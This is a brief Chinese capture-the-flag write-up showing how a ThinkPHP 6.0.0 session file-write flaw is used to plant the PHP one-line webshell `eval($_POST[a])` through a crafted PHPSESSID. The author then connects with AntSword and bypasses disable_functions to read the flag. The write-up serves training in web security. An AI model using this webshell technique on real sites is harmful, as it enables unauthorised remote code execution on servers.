[GYCTF2020]EasyThinking(thinkphp6.0.0漏洞)
有登录注册页面,感觉像是二次注入,但当我们恶意注入用户名时,居然发生了报错
报错页面有thinkphp的版本号,结合题目,我们猜测是thinkphp漏洞
我们百度搜索到thinkphp6.0.0有个任意文件写入漏洞
TP6 任意文件操作的利用方式:
构造PHPSESSID的值,改值长度为32且为string型,然后就会在/runtime/session/目录下产生一个php文件我们先来看看session目录下的php文件内容是啥
我们注册账号,登录时抓包,然后修改phpsessid=1234567123456712345671234568.php
登录后搜索一句话木马
1 | <?php eval($_POST[a]); ?> |
由于搜索的内容会保存在session里,我们访问session文件
注:文件名前要加sess_
1 | /runtime/session/sess_1234567123456712345671234568.php |
我们用蚁剑连接
连接成功
我们查看根目录,发现个flag和readflag文件
一般我们需要执行readflag来读取flag
但好像直接读取不了
可能存在disable_functions,我们用蚁剑插件直接绕过
再执行
得到flag